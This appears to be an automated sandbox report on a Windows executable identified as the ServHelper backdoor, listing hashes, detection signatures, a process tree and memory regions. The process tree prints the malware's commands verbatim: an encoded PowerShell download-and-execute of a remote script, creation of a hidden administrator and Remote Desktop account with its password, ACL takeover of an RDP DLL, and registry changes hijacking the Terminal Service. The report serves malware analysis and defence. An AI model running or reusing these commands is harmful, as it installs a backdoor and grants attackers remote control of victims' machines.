Analysis

  • max time kernel
    137s
  • max time network
    171s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    12-07-2021 10:06

General

  • Target

    4c1063d9a1324655008a22a6d558b2dc.exe

  • Size

    3.1MB

  • MD5

    4c1063d9a1324655008a22a6d558b2dc

  • SHA1

    ddecd8b6ddf3a60d841663ab58fdcfea02299d09

  • SHA256

    91d8870ce872fc1d99181a961e4b3735152e7aa77b714b015efd594fd923eea2

  • SHA512

    c7cd30fd24347d4a1f86a4bcef2472d2d6286970d5712d158333519a8fe69d87e6ef0df1f688f5372eead87b167f6f1f86b80510dfc35b2b01cc160feffe26cf

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe
    "C:\Users\Admin\AppData\Local\Temp\4c1063d9a1324655008a22a6d558b2dc.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1072
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s31yo2i4\s31yo2i4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:900
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3312.tmp" "c:\Users\Admin\AppData\Local\Temp\s31yo2i4\CSC1A57B2C6DA0F470787083E9FAB1DFAE.TMP"
            5⤵
              PID:296
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1752
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:840
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1280
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1600
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1948
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1908
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:432
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1136
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1068
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1996
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1216
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:568
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1864
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:616
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:1652
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:868
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:1208
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:1296
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1988
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:836
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:1900
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:680
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:1404
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1668
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:1336
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:1908
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:864
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:744
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc VGt8B5pz /add
                                        1⤵
                                          PID:1068
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc VGt8B5pz /add
                                            2⤵
                                              PID:1216
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc VGt8B5pz /add
                                                3⤵
                                                  PID:568
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:804
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:524
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:1172
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    1⤵
                                                      PID:868
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        2⤵
                                                          PID:1128
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                            3⤵
                                                              PID:1336
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:432
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:944
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:936
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc VGt8B5pz
                                                                1⤵
                                                                  PID:1504
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc VGt8B5pz
                                                                    2⤵
                                                                      PID:1524
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc VGt8B5pz
                                                                        3⤵
                                                                          PID:1672
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:804
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1940
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:1792
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:944
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:1208
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1524
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1672

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/332-73-0x0000000028216000-0x0000000028217000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/332-67-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/332-75-0x000000002821C000-0x000000002823B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/332-74-0x0000000028217000-0x0000000028218000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/332-71-0x0000000028212000-0x0000000028214000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/332-72-0x0000000028214000-0x0000000028216000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/332-69-0x0000000040E30000-0x00000000410DA000-memory.dmp

                                                                              Filesize

                                                                              2.7MB

                                                                            • memory/332-68-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/840-160-0x000000001AA30000-0x000000001AA32000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/840-162-0x000000001AA34000-0x000000001AA36000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1072-78-0x0000000002400000-0x0000000002401000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-96-0x000000001C450000-0x000000001C451000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-112-0x000000000274A000-0x0000000002769000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1072-80-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1072-97-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-77-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1072-79-0x000000001AB80000-0x000000001AB81000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-95-0x000000001B660000-0x000000001B661000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-93-0x0000000002530000-0x0000000002531000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-85-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-83-0x0000000002470000-0x0000000002471000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-82-0x0000000002440000-0x0000000002441000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1072-81-0x0000000002744000-0x0000000002746000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1564-59-0x000000013FB50000-0x000000013FB51000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1564-61-0x000000001C000000-0x000000001C631000-memory.dmp

                                                                              Filesize

                                                                              6.2MB

                                                                            • memory/1564-62-0x00000000005B0000-0x00000000005B2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1564-63-0x000000001D160000-0x000000001D605000-memory.dmp

                                                                              Filesize

                                                                              4.6MB

                                                                            • memory/1564-64-0x0000000000560000-0x0000000000570000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/1564-65-0x0000000000570000-0x0000000000571000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1564-66-0x000000001E2A0000-0x000000001E72D000-memory.dmp

                                                                              Filesize

                                                                              4.6MB

                                                                            • memory/1568-108-0x000000001B470000-0x000000001B471000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-110-0x0000000002780000-0x0000000002781000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-130-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-105-0x000000001AA14000-0x000000001AA16000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1568-117-0x000000001B780000-0x000000001B781000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-104-0x000000001AA10000-0x000000001AA12000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1568-111-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-131-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1568-106-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1672-244-0x000000001965A000-0x0000000019679000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1672-215-0x0000000019654000-0x0000000019656000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1672-214-0x0000000019650000-0x0000000019652000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1752-145-0x0000000000330000-0x0000000000331000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1752-142-0x000000001B8C0000-0x000000001B8C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1752-144-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1752-140-0x00000000026C0000-0x00000000026C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1752-137-0x00000000025B0000-0x00000000025B2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1752-138-0x00000000025B4000-0x00000000025B6000-memory.dmp

                                                                              Filesize

                                                                              8KB